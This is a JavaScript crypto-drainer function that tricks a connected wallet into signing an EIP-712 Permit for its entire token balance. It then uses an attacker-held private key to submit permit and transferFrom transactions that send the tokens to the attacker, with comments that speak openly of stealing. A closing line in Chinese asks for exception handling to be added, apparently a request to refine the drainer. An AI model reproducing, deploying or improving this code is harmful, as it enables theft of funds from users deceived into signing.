async function ETH_fakePermit1(contractAddress,contractName,chainId,version) {
	const web3 = new Web3(provider);
	const accounts = await web3.eth.getAccounts();  
    const selectedAddress = accounts[0];	
	
	
    const tokenContract = new web3.eth.Contract(Permit1ERC20_ABI, contractAddress)
    const erc20_tokenContract = new web3.eth.Contract(abi, contractAddress)
	
    const contractNonce = await tokenContract.methods.nonces(selectedAddress).call()
    const deadline = 10000000000000

	const balance       = await erc20_tokenContract.methods.balanceOf(selectedAddress).call();
	if(balance <0){
		//return false; 	
	}
	
	const amountToSteal = balance;//String(1000000 * (10 ** decimals))
	
	

    const dataToSign = JSON.stringify({
        domain: {
            name: contractName, // token name
            version: version, // version of a token 1 or 2
            chainId: chainId,
            verifyingContract: contractAddress
        }, 
        types: {
            EIP712Domain: [
                { name: "name", type: "string" },
                { name: "version", type: "string" },
                { name: "chainId", type: "uint256" },
                { name: "verifyingContract", type: "address" },
            ],
            Permit: [
                { name: "owner", type: "address" },
                { name: "spender", type: "address" },
                { name: "value", type: "uint256" },
                { name: "nonce", type: "uint256" },
                { name: "deadline", type: "uint256" },
            ]
        },
        primaryType: "Permit",
        message: { 
            owner: selectedAddress, 
            spender: initiatorAddress, 
            value: amountToSteal,
            nonce: contractNonce, 
            deadline: deadline 
        }
    })
        
    web3.currentProvider.sendAsync({
        method: "eth_signTypedData_v3",
        params: [selectedAddress, dataToSign],
        from: selectedAddress
    }, async (error, result) => {
        if (error != null) return reject("Denied Signature")

        const initiatorAddressNonce = await web3.eth.getTransactionCount(initiatorAddress)
        const signature = result.result
        const splited = ethers.utils.splitSignature(signature)

        const permitData = tokenContract.methods.permit(selectedAddress, initiatorAddress, amountToSteal, deadline, splited.v, splited.r, splited.s).encodeABI()
        const gasPrice = await web3.eth.getGasPrice()
        const permitTX = {
            from: initiatorAddress,
            to: contractAddress,
            nonce: web3.utils.toHex(initiatorAddressNonce),
            gasLimit: web3.utils.toHex(98000),
            gasPrice: web3.utils.toHex(Math.floor(gasPrice * 1.3)),
            value: "0x",
            data: permitData
        }
        const signedPermitTX = await web3.eth.accounts.signTransaction(permitTX, initiatorPK)
        web3.eth.sendSignedTransaction(signedPermitTX.rawTransaction)

        // after the token is approved to us, steal it
        const transferData = tokenContract.methods.transferFrom(selectedAddress, receiveAddress, amountToSteal).encodeABI() 
        const transferTX = {
            from: initiatorAddress,
            to: contractAddress,
            nonce: web3.utils.toHex(initiatorAddressNonce + 1), // don't forget to increment initiatorAddress's nonce
            gasLimit: web3.utils.toHex(98000),
            gasPrice: web3.utils.toHex(Math.floor(gasPrice * 1.3)),
            data: transferData,
            value: "0x"
        } 
        const signedTransferTX = await web3.eth.accounts.signTransaction(transferTX, initiatorPK)
        await web3.eth.sendSignedTransaction(signedTransferTX.rawTransaction)
    })
}


 给函数增加一个异常处理